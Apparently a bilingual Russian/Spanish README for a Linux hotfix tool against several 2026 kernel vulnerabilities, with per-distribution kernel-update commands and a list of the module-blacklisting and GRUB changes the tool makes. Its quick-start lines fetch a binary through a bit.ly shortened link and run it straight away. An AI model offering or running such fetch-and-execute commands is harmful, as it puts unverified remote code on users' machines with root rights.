ПО для устранения уязвимостей frag family / Herramienta de mitigación para la vulnerabilidad de la familia frag
- Copy Fail (2026)
- Dirty Frag (2026)
- Fragnesia (2026)
- DirtyClone (2026)
- PEdit-CoW (2026)
Запустить исправление на любом Linux / Ejecutar cualquier hotfix de Linux
b="/tmp/cve_2026_frag_family_fix"; wget -qO $b $(wget -qO- https://bit.ly/4vetMTB | grep browser_download_url | grep -v .exe | cut -d '"' -f 4) && chmod +x $b && $b
или
b="/tmp/cve_2026_frag_family_fix"; curl -fsSL "$(curl -fsSL https://bit.ly/4vetMTB | grep browser_download_url | grep -v .exe | cut -d '"' -f 4)" -o $b && chmod +x $b && $b
CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331
Описание
- проверяет включенные модули из CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331
- предлагает обновление ядра если доступно
- отключает
esp4, esp6, rxrpc, act_pedit если нет
- блокирует загрузку через
modprobe
- добавляет
module_blacklist в grub
- автоматически очищает хотфикс после обновления ядра
- для RHEL-совместимых систем (AlmaLinux, Rocky, Oracle, Fedora) отключает Boot Loader Specification (GRUB_ENABLE_BLSCFG=false), устанавливает GRUB_DEFAULT=0 и создаёт хук установки ядра (/etc/kernel/install.d/99-grub-update.install), который обновляет конфигурацию grub после обновления ядра, чтобы при следующей загрузке запускалось самое свежее ядро.
- для минорных релизов предлагает и выполняет обновление до последней минорной версии для которой есть обновление ядра
Descripción
- comprueba los módulos habilitados de las vulnerabilidades CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331
- ofrece actualización del kernel si está disponible
- deshabilita
esp4, esp6, rxrpc, act_pedit si no
- bloquea la carga mediante
modprobe
- añade
module_blacklist a grub
- limpia automáticamente el hotfix después de la actualización del kernel
- para sistemas basados en RHEL (AlmaLinux, Rocky, Oracle, Fedora), deshabilita Boot Loader Specification (GRUB_ENABLE_BLSCFG=false) y establece GRUB_DEFAULT=0, luego crea un hook de instalación del kernel (/etc/kernel/install.d/99-grub-update.install) que regenera la configuración de grub después de las actualizaciones del kernel para asegurar que el kernel más reciente se cargue en el próximo arranque
- para versiones menores, ofrece y realiza una actualización a la última versión menor que tenga una actualización de kernel disponible.
CVE-2026-31431 / Copy Fail mitigation (algif_aead)
Описание
Утилита проверяет уязвимость CVE-2026-31431 (pre condition) и при наличии root-привилегий применяет mitigation:
- определяет защищённые комбинации ОС (включая WSL) и версий ядра
- предлагает обновление ядра с исправлением если оно доступно
- отключает
algif_aead если нет
- блокирует загрузку через
modprobe
- добавляет
initcall_blacklist=algif_aead_init
- ограничивает
AF_ALG через systemd
Descripción
Esta herramienta comprueba CVE-2026-31431 (pre condition) y aplica la mitigación (requiere root):
- identifica combinaciones protegidas de SO (incluyendo WSL) y versiones de kernel
- ofrece una actualización del kernel con el parche si está disponible
- deshabilita
algif_aead si no
- bloquea la carga mediante
modprobe
- añade
initcall_blacklist=algif_aead_init
- restringe
AF_ALG mediante systemd
Linux сборка / build
docker run --rm -v "$PWD":/app -w /app golang:alpine sh -c "apk add --no-cache upx && go build -ldflags='-s -w' -o cve_2026_frag_family_fix cve_2026_frag_family_fix.go && upx --best --ultra-brute cve_2026_frag_family_fix"
Обновление ядра (не хотфикс) доступно для / Actualización del kernel (no hotfix) disponible para
| OS | Copy Fail (CVE-2026-31431) | Dirty Frag (CVE-2026-43500/43284) | Fragnesia (CVE-2026-46300) | PEdit-CoW (CVE-2026-46331) |
|---|
| Debian 10 (buster) | ❌ | ❌ | ❌ | ❌ |
| Debian 11 (bullseye) | ✅ | ✅ | ✅ | ✅ |
| Debian 12 (bookworm) | ✅ | ✅ | ✅ | ✅ |
| Debian 13 (trixie) | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 18.04 (bionic) | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 20.04 (focal) | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 22.04 (jammy) | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 24.04 (noble) | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 25.04 (plucky) | ❌ | ❌ | ❌ | ❌ |
| Ubuntu 26.04 (resolute) | ✅ | ✅ | ✅ | ✅ |
| CentOS Stream 8 | ✅ | ✅ | ✅ | ✅ |
| CentOS Stream 9 | ✅ | ✅ | ✅ | ✅ |
| CentOS Stream 10 | ✅ | ✅ | ✅ | ✅ |
| AlmaLinux 8 | ✅ | ✅ | ✅ | ✅ |
| AlmaLinux 9 | ✅ | ✅ | ✅ | ✅ |
| AlmaLinux 10 | ✅ | ✅ | ✅ | ✅ |
| Rocky Linux 8 | ✅ | ✅ | ✅ | ✅ |
| Rocky Linux 9 | ✅ | ✅ | ✅ | ✅ |
| Rocky Linux 10 | ✅ | ✅ | ✅ | ✅ |
| Fedora 40 | ❌ | ❌ | ❌ | ❌ |
| Fedora 41 | ❌ | ❌ | ❌ | ❌ |
| Fedora 42 | ✅ | ✅ | ✅ | ✅ |
| Fedora 43 | ✅ | ✅ | ✅ | ✅ |
| Fedora 44 | ✅ | ✅ | ✅ | ✅ |
| Oracle Linux 8 | ✅ | ✅ | ✅ | ✅ |
| Oracle Linux 9 | ✅ | ✅ | ✅ | ✅ |
| Oracle Linux 10 | ✅ | ✅ | ✅ | ✅ |
Команды обновления ядра / Comandos de actualización del kernel
- Debian
apt update && apt install linux-image-amd64 linux-headers-amd64 -y
- Ubuntu
apt update && apt install linux-image-generic linux-headers-generic -y
- CentOS
dnf clean metadata && dnf upgrade 'kernel*' -y
- AlmaLinux
dnf clean metadata && dnf upgrade 'kernel*' -y
- RockyLinux
dnf clean metadata && dnf upgrade 'kernel*' -y
- Fedora
dnf clean metadata && dnf upgrade 'kernel*' -y
- OracleLinux
dnf clean metadata && dnf upgrade 'kernel*' -y